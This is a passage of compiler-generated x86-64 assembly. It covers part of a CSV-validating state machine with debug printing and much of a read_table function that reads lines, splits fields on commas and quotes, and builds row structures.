LBB3_85: ## in Loop: Header=BB3_5 Depth=1
xorl %r13d, %r13d
cmpl $10, %eax
setb %r13b
orl $4, %r13d
jmp LBB3_94
LBB3_67: ## in Loop: Header=BB3_5 Depth=1
cmpl $1, %r14d
jne LBB3_126
## %bb.68: ## in Loop: Header=BB3_5 Depth=1
cmpl $4, (%rbx)
je LBB3_71
.p2align 4, 0x90
LBB3_69: ## Parent Loop BB3_5 Depth=1
## => This Inner Loop Header: Depth=2
movq 16(%rbx), %rbx
cmpl $4, (%rbx)
jne LBB3_69
## %bb.70: ## in Loop: Header=BB3_5 Depth=1
movq 8(%rbx), %rax
LBB3_71: ## in Loop: Header=BB3_5 Depth=1
movl (%rax), %ecx
movl $1, %r13d
cmpq $7, %rcx
ja LBB3_113
## %bb.72: ## in Loop: Header=BB3_5 Depth=1
leaq LJTI3_6(%rip), %rdx
movslq (%rdx,%rcx,4), %rcx
addq %rdx, %rcx
movq %rax, %rbx
jmpq *%rcx
LBB3_73: ## in Loop: Header=BB3_5 Depth=1
cmpl $34, %r15d
movl $2, %r13d
movl $8, %ecx
cmovel %ecx, %r13d
movq %rax, %rbx
jmp LBB3_94
LBB3_74: ## in Loop: Header=BB3_5 Depth=1
movl $1, %edi
movl $24, %esi
callq _calloc
movq %rax, 8(%rbx)
movq %rbx, 16(%rax)
leal -48(%r15), %ecx
cmpl $9, %ecx
ja LBB3_96
## %bb.75: ## in Loop: Header=BB3_5 Depth=1
movl $1, (%rax)
movl $5, %r13d
movq %rax, %rbx
jmp LBB3_94
LBB3_114: ## in Loop: Header=BB3_5 Depth=1
movl $6, (%rbx)
jmp LBB3_94
LBB3_77: ## in Loop: Header=BB3_5 Depth=1
cmpl $44, %r15d
je LBB3_105
## %bb.78: ## in Loop: Header=BB3_5 Depth=1
cmpl $10, %r15d
jne LBB3_82
## %bb.79: ## in Loop: Header=BB3_5 Depth=1
movl $5, (%rbx)
movl $3, %r13d
jmp LBB3_94
LBB3_80: ## in Loop: Header=BB3_5 Depth=1
cmpl $34, %r15d
je LBB3_107
## %bb.81: ## in Loop: Header=BB3_5 Depth=1
cmpl $10, %r15d
jne LBB3_108
LBB3_82: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
jmp LBB3_94
LBB3_86: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %eax
ja LBB3_93
## %bb.87: ## in Loop: Header=BB3_5 Depth=1
xorl %r13d, %r13d
leaq LJTI3_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB3_88: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %eax
ja LBB3_93
## %bb.89: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
leaq LJTI3_2(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB3_90: ## in Loop: Header=BB3_5 Depth=1
movl $6, %r13d
cmpl $46, %r15d
je LBB3_94
LBB3_91: ## in Loop: Header=BB3_5 Depth=1
addl $-48, %r15d
xorl %eax, %eax
cmpl $10, %r15d
setb %al
leal (%rax,%rax,2), %r13d
addl $2, %r13d
jmp LBB3_94
LBB3_92: ## in Loop: Header=BB3_5 Depth=1
cmpl $34, %r15d
movl $9, %eax
cmovel %eax, %r14d
.p2align 4, 0x90
LBB3_93: ## in Loop: Header=BB3_5 Depth=1
movl %r14d, %r13d
LBB3_94: ## in Loop: Header=BB3_5 Depth=1
cmpb $0, _debug(%rip)
je LBB3_4
## %bb.95: ## in Loop: Header=BB3_5 Depth=1
movl %r13d, %eax
leaq _state_strings(%rip), %rcx
movq (%rcx,%rax,8), %rsi
leaq L_.str.22(%rip), %rdi
xorl %eax, %eax
callq _printf
movl (%rbx), %eax
leaq _symbol_strings(%rip), %rcx
movq (%rcx,%rax,8), %rsi
leaq L_.str.23(%rip), %rdi
xorl %eax, %eax
callq _printf
movl $10, %edi
callq _putchar
testl %r13d, %r13d
leaq L_.str.26(%rip), %rdi
leaq L_.str.25(%rip), %rax
cmoveq %rax, %rdi
cmpl $1, %r13d
leaq L_.str.24(%rip), %rax
cmoveq %rax, %rdi
callq _puts
jmp LBB3_4
LBB3_96: ## in Loop: Header=BB3_5 Depth=1
cmpl $34, %r15d
je LBB3_110
## %bb.97: ## in Loop: Header=BB3_5 Depth=1
cmpl $45, %r15d
jne LBB3_112
## %bb.98: ## in Loop: Header=BB3_5 Depth=1
movl $1, (%rax)
movl $4, %r13d
movq %rax, %rbx
jmp LBB3_94
LBB3_100: ## in Loop: Header=BB3_5 Depth=1
leal -48(%r15), %eax
movl $5, %r13d
cmpl $10, %eax
jb LBB3_94
## %bb.101: ## in Loop: Header=BB3_5 Depth=1
xorl %eax, %eax
cmpl $45, %r15d
sete %al
leal (%rax,%rax), %r13d
addl $2, %r13d
jmp LBB3_94
LBB3_102: ## in Loop: Header=BB3_5 Depth=1
leal -48(%r15), %ecx
movl $5, %r13d
cmpl $10, %ecx
jb LBB3_113
## %bb.109: ## in Loop: Header=BB3_5 Depth=1
xorl %ecx, %ecx
cmpl $45, %r15d
sete %cl
leal (%rcx,%rcx), %r13d
addl $2, %r13d
movq %rax, %rbx
jmp LBB3_94
LBB3_105: ## in Loop: Header=BB3_5 Depth=1
xorl %r13d, %r13d
jmp LBB3_94
LBB3_107: ## in Loop: Header=BB3_5 Depth=1
movl $9, %r13d
jmp LBB3_94
LBB3_108: ## in Loop: Header=BB3_5 Depth=1
movl $8, %r13d
jmp LBB3_94
LBB3_110: ## in Loop: Header=BB3_5 Depth=1
movl $0, (%rax)
LBB3_111: ## in Loop: Header=BB3_5 Depth=1
movl $8, %r13d
movq %rax, %rbx
jmp LBB3_94
LBB3_112: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
LBB3_113: ## in Loop: Header=BB3_5 Depth=1
movq %rax, %rbx
jmp LBB3_94
LBB3_115:
cmpl $9, %r13d
ja LBB3_119
## %bb.116:
movl $672, %eax ## imm = 0x2A0
btl %r13d, %eax
movq -56(%rbp), %r14 ## 8-byte Reload
jae LBB3_120
## %bb.117:
movl (%rbx), %eax
movl %eax, %ecx
andl $-2, %ecx
cmpl $6, %ecx
movl $1, %ecx
cmovel %ecx, %r13d
jmp LBB3_122
LBB3_118:
xorl %r13d, %r13d
movl (%rbx), %eax
jmp LBB3_122
LBB3_119:
movq -56(%rbp), %r14 ## 8-byte Reload
movl (%rbx), %eax
jmp LBB3_122
LBB3_120:
movl (%rbx), %eax
jmp LBB3_122
.p2align 4, 0x90
LBB3_121: ## in Loop: Header=BB3_122 Depth=1
movq 16(%rbx), %rbx
movl (%rbx), %eax
LBB3_122: ## =>This Inner Loop Header: Depth=1
addl $-3, %eax
cmpl $2, %eax
jae LBB3_121
jmp LBB3_124
.p2align 4, 0x90
LBB3_123: ## in Loop: Header=BB3_124 Depth=1
movq %rax, %rbx
movq 16(%rax), %rdi
callq _free
LBB3_124: ## =>This Inner Loop Header: Depth=1
movq 8(%rbx), %rax
testq %rax, %rax
jne LBB3_123
## %bb.125:
movq %rbx, %rdi
callq _free
movq %r12, %rdi
movq %r14, %rsi
xorl %edx, %edx
callq _fseek
cmpl $1, %r13d
sete %al
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB3_126:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rcx
leaq L_.str.21(%rip), %rdi
movl $272, %esi ## imm = 0x110
movl $1, %edx
callq _fwrite
movl $-1, %edi
callq _exit
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L3_0_set_91, LBB3_91-LJTI3_0
.set L3_0_set_94, LBB3_94-LJTI3_0
.set L3_0_set_47, LBB3_47-LJTI3_0
.set L3_0_set_92, LBB3_92-LJTI3_0
LJTI3_0:
.long L3_0_set_91
.long L3_0_set_94
.long L3_0_set_47
.long L3_0_set_94
.long L3_0_set_92
.long L3_0_set_94
.set L3_1_set_91, LBB3_91-LJTI3_1
.set L3_1_set_55, LBB3_55-LJTI3_1
.set L3_1_set_47, LBB3_47-LJTI3_1
.set L3_1_set_92, LBB3_92-LJTI3_1
LJTI3_1:
.long L3_1_set_91
.long L3_1_set_55
.long L3_1_set_47
.long L3_1_set_55
.long L3_1_set_92
.long L3_1_set_55
.set L3_2_set_91, LBB3_91-LJTI3_2
.set L3_2_set_90, LBB3_90-LJTI3_2
.set L3_2_set_47, LBB3_47-LJTI3_2
.set L3_2_set_92, LBB3_92-LJTI3_2
.set L3_2_set_94, LBB3_94-LJTI3_2
LJTI3_2:
.long L3_2_set_91
.long L3_2_set_90
.long L3_2_set_47
.long L3_2_set_47
.long L3_2_set_92
.long L3_2_set_94
.set L3_3_set_91, LBB3_91-LJTI3_3
.set L3_3_set_44, LBB3_44-LJTI3_3
.set L3_3_set_47, LBB3_47-LJTI3_3
.set L3_3_set_92, LBB3_92-LJTI3_3
LJTI3_3:
.long L3_3_set_91
.long L3_3_set_44
.long L3_3_set_47
.long L3_3_set_44
.long L3_3_set_92
.long L3_3_set_44
.set L3_4_set_91, LBB3_91-LJTI3_4
.set L3_4_set_27, LBB3_27-LJTI3_4
.set L3_4_set_47, LBB3_47-LJTI3_4
.set L3_4_set_92, LBB3_92-LJTI3_4
LJTI3_4:
.long L3_4_set_91
.long L3_4_set_27
.long L3_4_set_47
.long L3_4_set_27
.long L3_4_set_92
.long L3_4_set_27
.set L3_5_set_91, LBB3_91-LJTI3_5
.set L3_5_set_90, LBB3_90-LJTI3_5
.set L3_5_set_47, LBB3_47-LJTI3_5
.set L3_5_set_92, LBB3_92-LJTI3_5
.set L3_5_set_94, LBB3_94-LJTI3_5
LJTI3_5:
.long L3_5_set_91
.long L3_5_set_90
.long L3_5_set_47
.long L3_5_set_47
.long L3_5_set_92
.long L3_5_set_94
.set L3_6_set_73, LBB3_73-LJTI3_6
.set L3_6_set_102, LBB3_102-LJTI3_6
.set L3_6_set_94, LBB3_94-LJTI3_6
LJTI3_6:
.long L3_6_set_73
.long L3_6_set_102
.long L3_6_set_94
.long L3_6_set_94
.long L3_6_set_94
.long L3_6_set_94
.long L3_6_set_73
.long L3_6_set_102
.set L3_7_set_63, LBB3_63-LJTI3_7
.set L3_7_set_100, LBB3_100-LJTI3_7
.set L3_7_set_94, LBB3_94-LJTI3_7
LJTI3_7:
.long L3_7_set_63
.long L3_7_set_100
.long L3_7_set_94
.long L3_7_set_94
.long L3_7_set_94
.long L3_7_set_94
.long L3_7_set_63
.long L3_7_set_100
.end_data_region
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function read_table
LCPI4_0:
.quad 0x40026bb1bbb55516 ## double 2.3025850929940459
LCPI4_1:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _read_table
.p2align 4, 0x90
_read_table: ## @read_table
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $56, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %esi, -60(%rbp) ## 4-byte Spill
movq %rdi, %r15
callq _ftell
movq %rax, %r12
movq %r15, %rdi
callq _rewind
movl $32, %edi
callq _malloc
movq %rax, -48(%rbp) ## 8-byte Spill
movl $1, (%rax)
movl $64, %edi
callq _malloc
movq %rax, %rbx
movl $64, %r14d
movq %rax, %rdi
movl $64, %esi
movq %r15, %rdx
callq _fgets
movq %rbx, %rdi
callq _strlen
movq %rbx, -56(%rbp) ## 8-byte Spill
cmpb $10, -1(%rax,%rbx)
je LBB4_3
.p2align 4, 0x90
LBB4_1: ## =>This Inner Loop Header: Depth=1
movq %r15, %rdi
callq _fgetc
movl %eax, %ebx
movl %eax, %edi
movq %r15, %rsi
callq _ungetc
cmpl $-1, %ebx
je LBB4_3
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
addl %r14d, %r14d
movslq %r14d, %rbx
movq -56(%rbp), %rdi ## 8-byte Reload
movq %rbx, %rsi
callq _realloc
movq %rax, %r13
sarl %ebx
movslq %ebx, %rsi
leaq (%rax,%rsi), %rdi
decq %rdi
## kill: def $esi killed $esi killed $rsi
movq %r15, %rdx
callq _fgets
movq %r13, %rdi
callq _strlen
movq %r13, -56(%rbp) ## 8-byte Spill
cmpb $10, -1(%rax,%r13)
jne LBB4_1
LBB4_3:
movq %r15, -80(%rbp) ## 8-byte Spill
movq -56(%rbp), %r14 ## 8-byte Reload
movq %r14, %rdi
callq _strlen
movq %rax, %r15
testl %r15d, %r15d
movq %r12, -88(%rbp) ## 8-byte Spill
jle LBB4_4
## %bb.5:
movl %r15d, %edx
movl %r15d, %eax
andl $1, %eax
cmpq $1, %rdx
jne LBB4_7
## %bb.6:
movl $2, %esi
movl $1, %r13d
xorl %ecx, %ecx
LBB4_22:
testq %rax, %rax
je LBB4_26
## %bb.23:
cmpl $2, %esi
jne LBB4_26
## %bb.24:
cmpb $44, (%r14,%rcx)
jne LBB4_26
## %bb.25:
incl %r13d
movq -48(%rbp), %rax ## 8-byte Reload
movl %r13d, (%rax)
LBB4_26:
cvtsi2sd %r15d, %xmm0
movsd %xmm0, -72(%rbp) ## 8-byte Spill
jmp LBB4_27
LBB4_4:
xorpd %xmm0, %xmm0
movsd %xmm0, -72(%rbp) ## 8-byte Spill
movl $1, %r13d
LBB4_27:
movslq %r13d, %rbx
movl $8, %esi
movq %rbx, %rdi
callq _calloc
movq %rax, %r12
movq -48(%rbp), %rax ## 8-byte Reload
movq %r12, 8(%rax)
testl %ebx, %ebx
jle LBB4_33
## %bb.28:
movl %r13d, %r14d
xorl %ebx, %ebx
.p2align 4, 0x90
LBB4_29: ## =>This Inner Loop Header: Depth=1
movl $16, %edi
callq _malloc
movq %rax, (%r12,%rbx,8)
incq %rbx
cmpq %rbx, %r14
jne LBB4_29
## %bb.30:
cmpb $0, -60(%rbp) ## 1-byte Folded Reload
jne LBB4_34
## %bb.31:
movsd -72(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
callq _log
divsd LCPI4_0(%rip), %xmm0
roundsd $10, %xmm0, %xmm0
addsd LCPI4_1(%rip), %xmm0
cvttsd2si %xmm0, %eax
movslq %eax, %rbx
leaq l_.str.14(%rip), %r15
xorl %r13d, %r13d
.p2align 4, 0x90
LBB4_32: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
callq _malloc
movq (%r12,%r13,8), %rcx
movq %rax, (%rcx)
movq (%r12,%r13,8), %rax
movq (%rax), %rdi
movq %rbx, %rsi
movq %r15, %rdx
movl %r13d, %ecx
xorl %eax, %eax
callq _snprintf
incq %r13
cmpq %r13, %r14
jne LBB4_32
jmp LBB4_68
LBB4_33:
cmpb $0, -60(%rbp) ## 1-byte Folded Reload
je LBB4_69
LBB4_34:
testl %r15d, %r15d
movq -56(%rbp), %rcx ## 8-byte Reload
jle LBB4_63
## %bb.35:
movl %r15d, %edx
andl $1, %r15d
cmpq $1, %rdx
jne LBB4_37
## %bb.36:
movl $2, %esi
xorl %eax, %eax
LBB4_55:
testq %r15, %r15
je LBB4_63
## %bb.56:
movb (%rcx,%rax), %dl
movzbl %dl, %edi
cmpl $2, %esi
jne LBB4_59
## %bb.57:
cmpb $44, %dl
ja LBB4_63
## %bb.58:
movabsq $17609365922816, %rdx ## imm = 0x100400002400
jmp LBB4_61
LBB4_7:
subq %rax, %rdx
movl $2, %esi
movl $1, %r13d
xorl %ecx, %ecx
jmp LBB4_8
.p2align 4, 0x90
LBB4_15: ## in Loop: Header=BB4_8 Depth=1
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
LBB4_21: ## in Loop: Header=BB4_8 Depth=1
addq $2, %rcx
cmpq %rcx, %rdx
je LBB4_22
LBB4_8: ## =>This Inner Loop Header: Depth=1
movzbl (%r14,%rcx), %ebx
cmpl $2, %esi
jne LBB4_136
## %bb.9: ## in Loop: Header=BB4_8 Depth=1
cmpb $34, %bl
je LBB4_10
## %bb.11: ## in Loop: Header=BB4_8 Depth=1
cmpb $44, %bl
jne LBB4_13
## %bb.12: ## in Loop: Header=BB4_8 Depth=1
incl %r13d
movq -48(%rbp), %rsi ## 8-byte Reload
movl %r13d, (%rsi)
LBB4_13: ## in Loop: Header=BB4_8 Depth=1
movl $2, %esi
jmp LBB4_14
.p2align 4, 0x90
LBB4_136: ## in Loop: Header=BB4_8 Depth=1
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
jmp LBB4_14
LBB4_10: ## in Loop: Header=BB4_8 Depth=1
movl $1, %esi
.p2align 4, 0x90
LBB4_14: ## in Loop: Header=BB4_8 Depth=1
movzbl 1(%r14,%rcx), %ebx
cmpl $2, %esi
jne LBB4_15
## %bb.16: ## in Loop: Header=BB4_8 Depth=1
cmpb $34, %bl
je LBB4_17
## %bb.18: ## in Loop: Header=BB4_8 Depth=1
cmpb $44, %bl
jne LBB4_20
## %bb.19: ## in Loop: Header=BB4_8 Depth=1
incl %r13d
movq -48(%rbp), %rsi ## 8-byte Reload
movl %r13d, (%rsi)
LBB4_20: ## in Loop: Header=BB4_8 Depth=1
movl $2, %esi
jmp LBB4_21
LBB4_17: ## in Loop: Header=BB4_8 Depth=1
movl $1, %esi
jmp LBB4_21
LBB4_37:
subq %r15, %rdx
movl $2, %esi
xorl %eax, %eax
movabsq $17179878400, %r8 ## imm = 0x400002400
jmp LBB4_38
LBB4_49: ## in Loop: Header=BB4_38 Depth=1
movl $1, %esi
.p2align 4, 0x90
LBB4_53: ## in Loop: Header=BB4_38 Depth=1
movb $0, 1(%rcx,%rax)
LBB4_54: ## in Loop: Header=BB4_38 Depth=1
addq $2, %rax
cmpq %rax, %rdx
je LBB4_55
LBB4_38: ## =>This Inner Loop Header: Depth=1
movzbl (%rcx,%rax), %ebx
cmpl $2, %esi
jne LBB4_42
## %bb.39: ## in Loop: Header=BB4_38 Depth=1
cmpb $34, %bl
je LBB4_40
## %bb.41: ## in Loop: Header=BB4_38 Depth=1
movl $2, %esi
cmpb $44, %bl
je LBB4_45
## %bb.43: ## in Loop: Header=BB4_38 Depth=1
cmpb $34, %bl
jbe LBB4_44
jmp LBB4_46
.p2align 4, 0x90
LBB4_42: ## in Loop: Header=BB4_38 Depth=1
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
cmpb $34, %bl
ja LBB4_46
LBB4_44: ## in Loop: Header=BB4_38 Depth=1
movzbl %bl, %edi
btq %rdi, %r8
jb LBB4_45
jmp LBB4_46
LBB4_40: ## in Loop: Header=BB4_38 Depth=1
movl $1, %esi
.p2align 4, 0x90
LBB4_45: ## in Loop: Header=BB4_38 Depth=1
movb $0, (%rcx,%rax)
LBB4_46: ## in Loop: Header=BB4_38 Depth=1
movzbl 1(%rcx,%rax), %ebx
cmpl $2, %esi
jne LBB4_47
## %bb.48: ## in Loop: Header=BB4_38 Depth=1
cmpb $34, %bl
je LBB4_49
## %bb.50: ## in Loop: Header=BB4_38 Depth=1
movl $2, %esi
cmpb $44, %bl
je LBB4_53
## %bb.51: ## in Loop: Header=BB4_38 Depth=1
cmpb $34, %bl
jbe LBB4_52
jmp LBB4_54
.p2align 4, 0x90
LBB4_47: ## in Loop: Header=BB4_38 Depth=1
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
cmpb $34, %bl
ja LBB4_54
LBB4_52: ## in Loop: Header=BB4_38 Depth=1
movzbl %bl, %edi
btq %rdi, %r8
jb LBB4_53
jmp LBB4_54
LBB4_59:
cmpb $34, %dl
ja LBB4_63
## %bb.60:
movabsq $17179878400, %rdx ## imm = 0x400002400
LBB4_61:
btq %rdi, %rdx
jae LBB4_63
## %bb.62:
movb $0, (%rcx,%rax)
LBB4_63:
testl %r13d, %r13d
jle LBB4_68
## %bb.64:
movq -56(%rbp), %rax ## 8-byte Reload
leaq 1(%rax), %rbx
movq -48(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %r15
movl %r13d, %eax
movq %rax, -72(%rbp) ## 8-byte Spill
xorl %r14d, %r14d
.p2align 4, 0x90
LBB4_65: ## =>This Loop Header: Depth=1
## Child Loop BB4_66 Depth 2
movq %rbx, %rdi
callq _strlen
movq %rax, %r12
movq %rax, %r13
shlq $32, %r13
movabsq $4294967296, %rax ## imm = 0x100000000
addq %rax, %r13
sarq $32, %r13
movq %r13, %rdi
callq _malloc
movq (%r15,%r14,8), %rcx
movq %rax, (%rcx)
movq (%r15,%r14,8), %rax
movq (%rax), %rdi
movq %rbx, %rsi
movq %r13, %rdx
callq _strncpy
movslq %r12d, %rax
addq %rax, %rbx
decq %rbx
.p2align 4, 0x90
LBB4_66: ## Parent Loop BB4_65 Depth=1
## => This Inner Loop Header: Depth=2
cmpb $0, 1(%rbx)
leaq 1(%rbx), %rbx
je LBB4_66
## %bb.67: ## in Loop: Header=BB4_65 Depth=1
incq %r14
cmpq -72(%rbp), %r14 ## 8-byte Folded Reload
jne LBB4_65
LBB4_68:
cmpb $0, -60(%rbp) ## 1-byte Folded Reload
jne LBB4_70
LBB4_69:
movq -80(%rbp), %rdi ## 8-byte Reload
callq _rewind
LBB4_70:
movq -56(%rbp), %rdi ## 8-byte Reload
testq %rdi, %rdi
je LBB4_72
## %bb.71:
callq _free
LBB4_72:
movl $64, %edi
callq _malloc
movq %rax, %r12
movl $64, %r14d
movq %rax, %rdi
movl $64, %esi
movq -80(%rbp), %r15 ## 8-byte Reload
.p2align 4, 0x90
LBB4_73: ## =>This Inner Loop Header: Depth=1
movq %r15, %rdx
callq _fgets
movq %r12, %rdi
callq _strlen
cmpb $10, -1(%rax,%r12)
je LBB4_76
## %bb.74: ## in Loop: Header=BB4_73 Depth=1
movq %r15, %rdi
callq _fgetc
movl %eax, %ebx
movl %eax, %edi
movq %r15, %rsi
callq _ungetc
cmpl $-1, %ebx
je LBB4_76
## %bb.75: ## in Loop: Header=BB4_73 Depth=1
addl %r14d, %r14d
movslq %r14d, %rbx
movq %r12, %rdi
movq %rbx, %rsi
callq _realloc
movq %rax, %r12
sarl %ebx
movslq %ebx, %rsi
leaq (%rax,%rsi), %rdi
decq %rdi
## kill: def $esi killed $esi killed $rsi
jmp LBB4_73
LBB4_76:
movq %r12, %rdi
callq _strlen
testl %eax, %eax
jle LBB4_81
## %bb.77:
movl %eax, %r8d
xorl %ecx, %ecx
xorl %esi, %esi
xorl %edx, %edx
jmp LBB4_78
.p2align 4, 0x90
LBB4_80: ## in Loop: Header=BB4_78 Depth=1
movzbl (%r12,%rcx), %ebx
xorl %edi, %edi
cmpb $44, %bl
setne %dil
xorl %eax, %eax
cmpb $34, %bl
sete %al
incl %eax
addl %edi, %edi
cmpl $1, %esi
cmovel %eax, %edi
incq %rcx
movl %edi, %esi
cmpq %rcx, %r8
je LBB4_81
LBB4_78: ## =>This Inner Loop Header: Depth=1
testl %esi, %esi
jne LBB4_80
## %bb.79: ## in Loop: Header=BB4_78 Depth=1
xorl %edi, %edi
cmpb $34, (%r12,%rcx)
sete %dil
movq -48(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %rsi
movslq %edx, %rdx
movq (%rsi,%rdx,8), %rbx
movl $2, %esi
subl %edi, %esi
movl %edi, 8(%rbx)
incl %edx
jmp LBB4_80
LBB4_81:
movq %r15, %rdi
callq _rewind
movl $1, %edi
movl $16, %esi
callq _calloc
movq -48(%rbp), %rcx ## 8-byte Reload
movq %rax, 16(%rcx)
movq %rax, 24(%rcx)
cmpb $0, -60(%rbp) ## 1-byte Folded Reload
je LBB4_83
## %bb.82:
movq %r12, %rdi
callq _free
LBB4_83:
movl $64, %edi
callq _malloc
movq %rax, %r12
movl $64, %r14d
movq %rax, %rdi
movl $64, %esi
.p2align 4, 0x90
LBB4_84: ## =>This Inner Loop Header: Depth=1
movq %r15, %rdx
callq _fgets
movq %r12, %rdi
callq _strlen
cmpb $10, -1(%rax,%r12)
je LBB4_87
## %bb.85: ## in Loop: Header=BB4_84 Depth=1
movq %r15, %rdi
callq _fgetc
movl %eax, %ebx
movl %eax, %edi
movq %r15, %rsi
callq _ungetc
cmpl $-1, %ebx
je LBB4_87
## %bb.86: ## in Loop: Header=BB4_84 Depth=1
addl %r14d, %r14d
movslq %r14d, %rbx
movq %r12, %rdi
movq %rbx, %rsi
callq _realloc
movq %rax, %r12
sarl %ebx
movslq %ebx, %rsi
leaq (%rax,%rsi), %rdi
decq %rdi
## kill: def $esi killed $esi killed $rsi
jmp LBB4_84
LBB4_87:
movq %r15, %rdi
callq _fgetc
cmpl $-1, %eax
je LBB4_135
## %bb.88:
movl %eax, %r13d
movq -48(%rbp), %rax ## 8-byte Reload
movl (%rax), %eax
movq %rax, -56(%rbp) ## 8-byte Spill
jmp LBB4_90
.p2align 4, 0x90
LBB4_89: ## in Loop: Header=BB4_90 Depth=1
movq -80(%rbp), %r15 ## 8-byte Reload
movq %r15, %rdi
callq _fgetc
movl %eax, %r13d
cmpl $-1, %eax
je LBB4_135
LBB4_90: ## =>This Loop Header: Depth=1
## Child Loop BB4_94 Depth 2
## Child Loop BB4_100 Depth 2
## Child Loop BB4_125 Depth 2
## Child Loop BB4_128 Depth 2
## Child Loop BB4_133 Depth 3
movl $1, %edi
movl $16, %esi
callq _calloc
movq %rax, %rbx
movq -48(%rbp), %rcx ## 8-byte Reload
movq 24(%rcx), %rax
movq %rbx, 8(%rax)
movq %rbx, 24(%rcx)
movslq -56(%rbp), %rdi ## 4-byte Folded Reload
movl $8, %esi
callq _calloc
movq %rax, (%rbx)
movl %r13d, %edi
movq %r15, %rsi
callq _ungetc
testq %r12, %r12
je LBB4_92
## %bb.91: ## in Loop: Header=BB4_90 Depth=1
movq %r12, %rdi
callq _free
LBB4_92: ## in Loop: Header=BB4_90 Depth=1
movl $64, %edi
callq _malloc
movq %rax, %r12
movq %rax, %rdi
movl $64, %esi
movq %r15, %rdx
callq _fgets
movq %r12, %rdi
callq _strlen
cmpb $10, -1(%rax,%r12)
je LBB4_96
## %bb.93: ## in Loop: Header=BB4_90 Depth=1
movl $64, %r14d
.p2align 4, 0x90
LBB4_94: ## Parent Loop BB4_90 Depth=1
## => This Inner Loop Header: Depth=2
movq %r15, %rdi
callq _fgetc
movl %eax, %ebx
movl %eax, %edi
movq %r15, %rsi
callq _ungetc
cmpl $-1, %ebx
je LBB4_96
## %bb.95: ## in Loop: Header=BB4_94 Depth=2
addl %r14d, %r14d
movslq %r14d, %rbx
movq %r12, %rdi
movq %rbx, %rsi
callq _realloc
movq %rax, %r12
sarl %ebx
movslq %ebx, %rsi
leaq (%rax,%rsi), %rdi
decq %rdi
## kill: def $esi killed $esi killed $rsi
movq %r15, %rdx
callq _fgets
movq %r12, %rdi
callq _strlen
cmpb $10, -1(%rax,%r12)
jne LBB4_94
LBB4_96: ## in Loop: Header=BB4_90 Depth=1
movq %r12, %rdi
callq _strlen
testl %eax, %eax
movabsq $17179878400, %r8 ## imm = 0x400002400
jle LBB4_124
## %bb.97: ## in Loop: Header=BB4_90 Depth=1
movl %eax, %edx
andl $1, %eax
cmpq $1, %rdx
jne LBB4_99
## %bb.98: ## in Loop: Header=BB4_90 Depth=1
movl $2, %esi
xorl %ecx, %ecx
LBB4_117: ## in Loop: Header=BB4_90 Depth=1
testq %rax, %rax
je LBB4_124
## %bb.118: ## in Loop: Header=BB4_90 Depth=1
movb (%r12,%rcx), %al
cmpl $2, %esi
jne LBB4_121
## %bb.119: ## in Loop: Header=BB4_90 Depth=1
cmpb $44, %al
ja LBB4_124
## %bb.120: ## in Loop: Header=BB4_90 Depth=1
movzbl %al, %eax
movabsq $17609365922816, %rdx ## imm = 0x100400002400
btq %rax, %rdx
jb LBB4_123
jmp LBB4_124
.p2align 4, 0x90
LBB4_99: ## in Loop: Header=BB4_90 Depth=1
subq %rax, %rdx
movl $2, %esi
xorl %ecx, %ecx
jmp LBB4_100
LBB4_111: ## in Loop: Header=BB4_100 Depth=2
movl $1, %esi
.p2align 4, 0x90
LBB4_115: ## in Loop: Header=BB4_100 Depth=2
movb $0, 1(%r12,%rcx)
LBB4_116: ## in Loop: Header=BB4_100 Depth=2
addq $2, %rcx
cmpq %rcx, %rdx
je LBB4_117
LBB4_100: ## Parent Loop BB4_90 Depth=1
## => This Inner Loop Header: Depth=2
movzbl (%r12,%rcx), %ebx
cmpl $2, %esi
jne LBB4_104
## %bb.101: ## in Loop: Header=BB4_100 Depth=2
cmpb $34, %bl
je LBB4_102
## %bb.103: ## in Loop: Header=BB4_100 Depth=2
movl $2, %esi
cmpb $44, %bl
je LBB4_107
## %bb.105: ## in Loop: Header=BB4_100 Depth=2
cmpb $34, %bl
jbe LBB4_106
jmp LBB4_108
.p2align 4, 0x90
LBB4_104: ## in Loop: Header=BB4_100 Depth=2
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
cmpb $34, %bl
ja LBB4_108
LBB4_106: ## in Loop: Header=BB4_100 Depth=2
movzbl %bl, %edi
btq %rdi, %r8
jb LBB4_107
jmp LBB4_108
LBB4_102: ## in Loop: Header=BB4_100 Depth=2
movl $1, %esi
.p2align 4, 0x90
LBB4_107: ## in Loop: Header=BB4_100 Depth=2
movb $0, (%r12,%rcx)
LBB4_108: ## in Loop: Header=BB4_100 Depth=2
movzbl 1(%r12,%rcx), %ebx
cmpl $2, %esi
jne LBB4_109
## %bb.110: ## in Loop: Header=BB4_100 Depth=2
cmpb $34, %bl
je LBB4_111
## %bb.112: ## in Loop: Header=BB4_100 Depth=2
movl $2, %esi
cmpb $44, %bl
je LBB4_115
